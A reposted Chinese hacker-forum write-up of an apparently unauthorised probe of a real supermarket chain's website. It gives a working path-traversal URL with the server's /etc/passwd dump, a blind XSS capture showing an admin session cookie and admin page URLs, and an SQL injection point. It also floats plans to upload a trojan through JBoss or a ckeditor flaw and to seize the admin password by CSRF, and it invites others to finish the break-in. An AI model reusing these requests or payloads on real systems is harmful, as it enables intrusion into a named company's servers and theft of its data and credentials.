记录黑客技术中优秀的内容,传播黑客文化,分享黑客技术精华

人人乐超市网站检测相关

2013-03-26 15:45
任意下载文件漏洞,XSS盲打后台,SQL注入,JbossWeb,疑似ckeditor上传漏洞等等。。

首先是任意下载文件 最严重的
http://www.renrenle.cn/share/download.jsp?filePath=../../../../../../etc/passwd&fileName=wind.txt
没有任何限制
 
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
syslog:x:101:103::/home/syslog:/bin/false
messagebus:x:102:105::/var/run/dbus:/bin/false
whoopsie:x:103:106::/nonexistent:/bin/false
landscape:x:104:109::/var/lib/landscape:/bin/false
sshd:x:105:65534::/var/run/sshd:/usr/sbin/nologin
xh:x:1000:1000:xiaohong,,,:/home/xh:/bin/bash
ftp:x:106:113:ftp daemon,,,:/srv/ftp:/bin/false
xiaohong:x:1001:1001::/home/xiaohong:/bin/false
ftp1001:x:1002:1002::/home/ftp1001:/bin/false
ftp1002:x:1003:1003::/home/ftp1002:/bin/false
ftp1003:x:1004:1004::/home/ftp1003:/bin/false
ftp1004:x:1005:1005::/home/ftp1004:/bin/false
ftp1005:x:1006:1006::/home/ftp1005:/bin/false
ftp1006:x:1007:1007::/home/ftp1006:/bin/false
nhy:x:1008:1008::/home/nhy:/bin/false
postfix:x:107:115::/var/spool/postfix:/bin/false
 
下来是XSS
http://www.renrenle.cn/rrlcs/suggest/suggest.jsp
这里标题插入代码,可以盲打后台
 
Date: 2013-02-04 16:23:54
    OS: Windows XP
    Browser: Internet Explorer 8.0
    location: http://www.renrenle.cn/rrlcs/admin/manageMessages.jsp?left=1
    toplocation: http://www.renrenle.cn/rrlcs/admin/index2.jsp?msg=success
    cookie: JSESSIONID=8F1C520080793FC30416BD4532F7E7E4
    referrer: http://www.renrenle.cn/rrlcs/admin/side.jsp?moduleid=9
 
SQL注入的话,在有cookies时,新闻呀什么的
似乎没法访问admin.jsp,不知到是什么原因,不过别的页面确是正常
比如http://www.renrenle.cn/rrlcs/admin/managegoods.jsp
那么注入点在这里
http://www.renrenle.cn/rrlcs/admin/viewgoods.jsp?id=69
 
还有他的服务器是ubuntu 12.04 服务器版,不会搞了,用的是Jbossweb 搭建的网站,任意下载文件可以下载到jboss配置文件,理论上可以通过web管理上传木马,不过遗憾的是,我不会了,似乎端口是8083,不知到怎么的访问不了
 
 
PS 关于Jboss
[23:47:18] Shawn Smith: 这个是jboss源码 http://www.oschina.net/code/explore/jbossas
 
 
2.似乎他还有一个ckeditor,据说可以用%00截断,然后NC上传。这个没测试。不知到她用的ckeditor有没有这个漏洞
 
3. 网站后台 /admin 还有三个,崇尚百货什么的,能注册后访问,不过似乎没啥用了
 
最后 还是失败了。。第一次搞JSP的站,求大牛教我。。
 
Skype:whirlwind110@live.com 
漏洞证明:大牛自己上吧。。ubuntu下没QQ截图额。。。
 
 
PS 写道这里,我又想到一个好办法,获取cookies后可以访问一个修改密码的页面,,如果我CSRF的话,,不是管理员密码就有了。。嘿嘿,等下试试哦 

 
修复方案:
 
 
嘿嘿 开玩笑,不求那些,过滤过滤再过滤
 
去练功了。。孩子们晚安啦,人多力量打,求学习。 
 

知识来源: www.2cto.com/Article/201303/198014.html

阅读:114857 | 评论:0 | 标签:无

想收藏或者和大家分享这篇好文章→复制链接地址

“人人乐超市网站检测相关”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

❤人人都能成为掌握黑客技术的英雄❤

ADS

标签云

本页关键词